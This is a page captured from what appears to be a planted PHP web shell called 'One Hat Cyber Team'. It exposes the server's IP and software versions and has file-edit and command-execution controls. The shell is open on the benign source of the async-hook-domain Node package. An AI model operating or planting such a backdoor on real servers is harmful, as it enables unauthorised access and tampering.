⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
node_modules
/
async-hook-domain
/
Edit File: index.js
const { executionAsyncId, createHook } = require('async_hooks') // grab a reference to this right away, in case the user changes it // weird thing to do, but this is used in tests a lot, where weird // things are quite common. const proc = typeof process === 'object' && process ? process : /* istanbul ignore next */ { _handler: null, env: {}, execArgv: [], hasUncaughtExceptionCaptureCallback: /* istanbul ignore next */ () => !!proc._handler, setUncaughtExceptionCaptureCallback: /* istanbul ignore next */ fn => (proc._handler = fn), once: /* istanbul ignore next */ (_ev, _fn) => proc, on: /* istanbul ignore next */ (_ev, _fn) => proc, removeListener: /* istanbul ignore next */ _fn => proc, } const debugAlways = (() => { const { writeSync } = require('fs') const { format } = require('util') return (...args) => writeSync(2, format(...args) + '\n') })() const debug = proc.env.ASYNC_HOOK_DOMAIN_DEBUG !== '1' ? () => {} : debugAlways const domains = new Map() // possible values here: // throw (default) // we let our rejection handler call the domain handler // none, warn-with-error-code // same as default // warn // same as default (no way to make it any less noisy, sadly) // strict // set the uncaughtExceptionMonitor, because it will throw, // but do NOT set our rejection handler, or it'll double-handle const unhandledRejectionMode = (() => { let mode = 'throw' for (let i = 0; i < proc.execArgv.length; i++) { const m = process.execArgv[i] if (m.startsWith('--unhandled-rejections=')) { mode = m.substring('--unhandled-rejections='.length) } else if (m === '--unhandled-rejections') { mode = proc.execArgv[i + 1] } } return mode })() // the async hook activation and deactivation let domainHook = null const activateDomains = () => { if (!domainHook) { debug('ACTIVATE') domainHook = createHook(hookMethods) domainHook.enable() proc.on('uncaughtExceptionMonitor', domainErrorHandler) if (unhandledRejectionMode !== 'strict') { proc.emit = domainProcessEmit } } } const deactivateDomains = () => { if (domainHook) { debug('DEACTIVATE') domainHook.disable() domainHook = null proc.removeListener('uncaughtExceptionMonitor', domainErrorHandler) proc.emit = originalProcessEmit } } // monkey patch to silently listen on unhandledRejection, without // marking the event as 'handled' unless we handled it. // Do nothing if there's a user handler for the event, though. const originalProcessEmit = proc.emit const domainProcessEmit = (ev, ...args) => { if ( ev !== 'unhandledRejection' || proc.listeners('unhandledRejection').length ) { return originalProcessEmit.call(proc, ev, ...args) } const er = args[0] return domainErrorHandler(er, 'unhandledRejection', true) } const domainErrorHandler = (er, ev, rejectionHandler = false) => { debug('AHD MAYBE HANDLE?', ev, er) // if anything else attached a handler, then it's their problem, // not ours. get out of the way. if ( proc.hasUncaughtExceptionCaptureCallback() || proc.listeners('uncaughtException').length > 0 ) { debug('OTHER HANDLER ALREADY SET') return false } const domain = currentDomain() if (domain) { debug('HAVE DOMAIN') try { domain.onerror(er, ev) } catch (e) { debug('ONERROR THREW', e) domain.destroy() // this is pretty bad. treat it as a fatal exception, which // may or may not be caught in the next domain up. // We drop 'from promise', because now it's a throw. if (domainErrorHandler(e)) { return true } throw e } // at this point, we presumably handled the error, and attach a // no-op one-time handler to just prevent the crash from happening. if (!rejectionHandler) { proc.setUncaughtExceptionCaptureCallback(() => { debug('UECC ONCE') proc.setUncaughtExceptionCaptureCallback(null) }) // in strict mode, node raises the error *before* the uR event, // and it warns if the uR event is not handled. if (unhandledRejectionMode === 'strict') { process.once('unhandledRejection', () => {}) } } return true } return false } // the hook callbacks const hookMethods = { init(id, type, triggerId) { debug('INIT', id, type, triggerId) const current = domains.get(triggerId) if (current) { debug('INIT have current', current) current.ids.add(id) domains.set(id, current) debug('POST INIT', id, type, current) } }, destroy(id) { const domain = domains.get(id) debug('DESTROY', id) if (!domain) { return } domains.delete(id) domain.ids.delete(id) if (!domain.ids.size) { domain.destroy() } }, } const currentDomain = () => domains.get(executionAsyncId()) let id = 1 class Domain { constructor(onerror) { if (typeof onerror !== 'function') { // point at where the wrong thing was actually done const er = new TypeError('onerror must be a function') Error.captureStackTrace(er, this.constructor) throw er } const eid = executionAsyncId() this.eid = eid this.id = id++ this.ids = new Set([eid]) this.onerror = onerror this.parent = domains.get(eid) this.destroyed = false domains.set(eid, this) debug('NEW DOMAIN', this.id, this.eid, this.ids) activateDomains() } destroy() { if (this.destroyed) { return } debug('DESTROY DOMAIN', this.id, this.eid, this.ids) this.destroyed = true // find the nearest non-destroyed parent, assign all ids to it let parent = this.parent while (parent && parent.destroyed) { parent = parent.parent } this.parent = parent if (parent) { for (const id of this.ids) { domains.set(id, parent) parent.ids.add(id) } } else { for (const id of this.ids) { domains.delete(id) } } this.ids = new Set() if (!domains.size) { deactivateDomains() } } } module.exports = Domain
Simpan